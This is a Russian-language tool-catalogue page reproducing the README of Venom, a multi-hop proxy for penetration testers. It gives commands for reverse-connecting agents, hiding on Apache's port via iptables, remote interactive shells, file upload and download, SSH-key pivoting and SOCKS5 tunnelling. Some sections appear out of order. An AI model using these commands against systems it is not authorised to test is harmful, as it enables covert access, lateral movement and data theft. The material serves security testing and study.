Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Venom — Venom - Многошаговый прокси для тестировщиков на проникновение | Kitploit
Инструменты/GitHubGitHub/dliv3/venom
Инструменты шифрования/дешифрованияКартирование сетиТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного Доступа
GitHubdliv3/venom

Venom

Venom - Многошаговый прокси для тестировщиков на проникновение

Репозиторий
2.2k3586 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Venom - A Multi-hop Proxy for Penetration Testers

简体中文 | English

Venom — это многоуровневый прокси-инструмент, написанный на Go, предназначенный для специалистов по тестированию на проникновение.

Venom позволяет соединять несколько узлов, используя их как перемычки для построения многоуровневого прокси.

Специалисты по пентесту могут легко маршрутизировать сетевой трафик через несколько внутренних сетей и управлять прокси-узлами.

Этот инструмент предназначен исключительно для исследований в области безопасности и обучения. Пользователь несет полную ответственность за все юридические и связанные с этим последствия, возникающие в результате использования данного инструмента! Автор не несет никакой юридической или иной ответственности!

Возможности

  • Визуализация сетевой топологии
  • Многоуровневый прокси SOCKS5
  • Многоуровневое перенаправление портов
  • Повторное использование портов (apache/mysql/...)
  • SSH-туннели
  • Интерактивная оболочка
  • Загрузка и скачивание файлов
  • Шифрование связи между узлами
  • Поддержка нескольких платформ (Linux/Windows/MacOS) и архитектур (x86/x64/arm/mips)

Поскольку устройства IoT (архитектуры arm/mips/...) обычно имеют ограниченные ресурсы, для уменьшения размера двоичного файла в скомпилированных для IoT версиях отключены функции повторного использования портов и SSH-туннелей, а также ограничены количество одновременных соединений и размер буфера для снижения потребления памяти.

Установка

Вы можете напрямую скачать скомпилированные исполняемые файлы из релиза.

Если вы хотите скомпилировать проект из исходного кода, необходимо установить go >= 1.11, а затем выполнить следующие команды:

root@kitploit:~
go get -u github.com/Dliv3/Venom/...

# $GOPATH — это переменная окружения, заданная при установке Go, её можно проверить через go env
cd $GOPATH/src/github.com/Dliv3/Venom

# Скомпилированные двоичные файлы помещаются в папку release в текущей директории
./build.sh

Использование

Видео-демонстрация на YouTube: https://www.youtube.com/playlist?list=PLtZO9vwOND91vZ7yCmlAvISmEl2iQKjdI

1. Параметры командной строки admin/agent

  • Узлы admin и agent могут как прослушивать соединения, так и инициировать их

    Admin прослушивает порт, agent инициирует соединение:

    root@kitploit:~
    ./admin_macos_x64 -lport 9999
    
    root@kitploit:~
    ./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
    

    Agent прослушивает порт, admin инициирует соединение:

    root@kitploit:~
    ./agent_linux_x64 -lport 8888
    
    root@kitploit:~
    ./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
    
  • Узел agent поддерживает повторное использование портов

    Agent предоставляет два метода повторного использования портов:

    1. Повторное использование через опции SO_REUSEPORT и SO_REUSEADDR
    2. Повторное использование через iptables (только для Linux)

    С помощью функции повторного использования портов Venom можно повторно использовать порты сервисов Apache, MySQL и других в Windows (но не RDP, IIS и некоторые другие), а в Linux — большинство сервисов. Повторно используемый порт продолжает нормально предоставлять свой оригинальный сервис.

    Первый метод повторного использования портов

    root@kitploit:~
    # Пример с Apache под Windows
    # Повторно используем порт 80 Apache, не влияя на нормальную работу HTTP-сервиса
    # -lhost указывает локальный IP узла; нельзя указывать 0.0.0.0, иначе повторное использование не сработает
    ./agent.exe -lhost 192.168.204.139 -reuse-port 80
    
    root@kitploit:~
    ./admin_macos_x64 -rhost 192.168.204.139 -rport 80
    

    Второй метод повторного использования портов

2. Встроенные команды узла admin

  • help — вывод справки

    root@kitploit:~
    (admin node) >>> help
    
      help                                     Справка.
      exit                                     Выход.
      show                                     Отображение сетевой топологии.
      getdes                                   Просмотр описания целевого узла.
      setdes     [info]                        Добавление описания целевому узлу.
      goto       [id]                          Выбор узла с указанным id как целевого.
      listen     [lport]                       Прослушивание порта на целевом узле.
      connect    [rhost] [rport]               Подключение нового узла через целевой узел.
      sshconnect [user@ip:port] [dport]        Подключение нового узла через SSH-туннель.
      shell                                    Запуск интерактивной оболочки на целевом узле.
      upload     [local_file] [remote_file]    Загрузка файла на целевой узел.
      download   [remote_file] [local_file]    Скачивание файла с целевого узла.
      socks      [lport]                       Запуск SOCKS5-сервера.
      lforward   [lhost] [sport] [dport]       Перенаправление локального порта на удалённый порт.
      rforward   [rhost] [sport] [dport]       Перенаправление удалённого порта на локальный порт.
      
    
  • show — отображение сетевой топологии

    A — узел admin, цифры — узлы agent.

    Пример топологии ниже показывает, что узел admin имеет подключённый узел 1, узел 1 имеет подключённые узлы 2 и 4, а узел 2 — узел 3.

    root@kitploit:~
    (node 1) >>> show
    A
    + -- 1
         + -- 2
              + -- 3
         + -- 4
    

3. Примечания

  • В текущей версии управлять сетью может только один узел admin.
  • Для работы с новым узлом сначала выполните на admin команду show для синхронизации топологии и идентификаторов.
  • При использовании второго метода повторного использования портов (на основе iptables) используйте script/port_reuse.py для активации правил повторного использования, установленных agent на целевом узле.

TODO

  • Интеграция с regeorg
  • Возможность управления сетью несколькими узлами admin одновременно
  • Шифрование трафика между узлами
  • Поддержка UDP в SOCKS5
  • Интеграция с meterpreter (на рассмотрении)
  • RESTful API
  • Закрытие прокси и перенаправления портов

Благодарности

  • rootkiter#Termite
  • ring04h#s5.go
  • n1nty#Дистанционное управление IPTables для повторного использования портов
Скачать инструмент
root@kitploit:~
# Пример с Apache под Linux
# Требуются права root
sudo ./agent_linux_x64 -lport 8080 -reuse-port 80

При этом методе на узле создаются правила iptables, перенаправляющие трафик с порта, указанного в -reuse-port, на порт -lport, а затем agent распределяет трафик.

Важно: если программа завершается по сигналу SIGTERM или SIGINT (kill или Ctrl-C), она автоматически удаляет правила iptables. Если agent убит через kill -9, правила не удаляются автоматически, так как agent не может обработать сигнал SIGKILL. В этом случае их нужно удалять вручную.

Чтобы избежать ситуации, когда правила iptables не удаляются автоматически и пентестер не может получить доступ к сервису порта 80, второй метод использует iptables -m recent для управления включением/выключением правил перенаправления с помощью специальных TCP-пакетов.

Реализация основана на https://threathunter.org/topic/594545184ea5b2f5516e2033

root@kitploit:~
# Запуск agent с настройкой правил iptables на узле Linux
# Если rhost находится во внутренней сети, можно использовать SOCKS5-прокси для трафика скрипта (см. ниже)
python scripts/port_reuse.py --start --rhost 192.168.204.135 --rport 80

# Подключение к узлу agent
./admin_macos_x64 -rhost 192.168.204.135 -rport 80

# Отключение правил перенаправления
python scripts/port_reuse.py --stop --rhost 192.168.204.135 --rport 80
  • Шифрование связи между узлами

    Venom предоставляет возможность шифрования связи между узлами. Пользователь может задать пароль с помощью опции -passwd, который используется для генерации ключа AES.

    root@kitploit:~
    # Указание пароля dlive@dubhe через -passwd
    ./admin_macos_x64 -lport 8889 -passwd dlive@dubhe
    
    # Agent указывает тот же пароль для подключения к узлу admin
    ./agent_macos_x64 -rhost 192.168.0.103 -rport 8889 -passwd dlive@dubhe
    
  • Внимание: чтобы управлять новым узлом, сначала на узле admin выполните команду show для синхронизации топологии и идентификаторов узлов.

  • goto — переход к узлу

    root@kitploit:~
    (admin node) >>> goto 1
    (node 1) >>> 
    

    После перехода к узлу вы можете использовать команды, описанные ниже.

  • getdes/setdes — получение/установка описания узла

    root@kitploit:~
    (node 1) >>> setdes linux x64 blahblahblah
    (node 1) >>> getdes
    linux x64 blahblahblah
    
  • connect/listen/sshconnect — соединение между узлами

    Узел 1 подключается к порту 9999 на 192.168.0.103:

    root@kitploit:~
    (node 1) >>> connect 192.168.0.103 9999
    connect to 192.168.0.103 9999
    successfully connect to the remote port!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
    

    Узел 1 прослушивает порт 9997, затем на другой машине выполните ./agent_linux_x64 -rhost 192.168.204.139 -rport 9997 для подключения к node1:

    root@kitploit:~
    (node 1) >>> listen 9997
    listen 9997
    the port 9997 is successfully listening on the remote node!
    (node 1) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
    

    На 192.168.0.104 запустите ./agent_linux_x64 -lport 9999. Node3 подключается к порту 9999 на 192.168.0.104 через SSH-туннель с помощью sshconnect. Можно использовать пароль или SSH-ключ.

    root@kitploit:~
    (node 1) >>> goto 3
    (node 3) >>> sshconnect [email protected]:22 9999
    use password (1) / ssh key (2)? 2
    file path of ssh key: /Users/dlive/.ssh/id_rsa
    connect to target host's 9999 through ssh tunnel ([email protected]:22).
    ssh successfully connects to the remote node!
    (node 3) >>> show
    A
    + -- 1
         + -- 2
         + -- 3
              + -- 4
    
  • shell — получение интерактивной оболочки узла

    root@kitploit:~
    (node 1) >>> shell
    You can execute commands in this shell :D, 'exit' to exit.
    bash: no job control in this shell
    bash-3.2$ whoami
    whoami
    dlive
    bash-3.2$ exit
    exit
    exit
    
  • upload/download — загрузка/скачивание файлов на/с узла

    Загрузка локального файла /tmp/test.pdf на node1 как /tmp/test2.pdf:

    root@kitploit:~
    (node 1) >>> upload /tmp/test.pdf /tmp/test2.pdf
    upload /tmp/test.pdf to node 1: /tmp/test2.pdf
    this file is too large(>100M), do you still want to upload it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    upload file successfully!
    

    Скачивание файла /tmp/test2.pdf с node1 на локальный /tmp/test3.pdf:

    root@kitploit:~
    (node 1) >>> download /tmp/test2.pdf /tmp/test3.pdf
    download /tmp/test2.pdf from node 1: /tmp/test3.pdf
    this file is too large(>100M), do you still want to download it? (y/n)y
     154.23 MiB / 154.23 MiB [========================================] 100.00% 1s
    download file successfully!
    
  • socks — запуск SOCKS5-прокси до узла

    root@kitploit:~
    (node 1) >>> socks 7777
    a socks5 proxy of the target node has started up on local port 7777
    

    После успешного выполнения команды socks на локальном узле admin открывается порт (например, 7777), который можно использовать как SOCKS5-прокси.

  • lforward/rforward — перенаправление локального порта на удалённый / удалённого на локальный

    lforward перенаправляет локальный порт 8888 с admin на порт 8888 node1:

    root@kitploit:~
    (node 1) >>> lforward 127.0.0.1 8888 8888
    forward local network 127.0.0.1 port 8888 to remote port 8888
    

    rforward перенаправляет порт 8889 узла 192.168.204.103 (в сети node1) на локальный порт 8889 admin:

    root@kitploit:~
    (node 1) >>> rforward 192.168.204.103 8889 8889
    forward remote network 192.168.204.103 port 8889 to local port 8889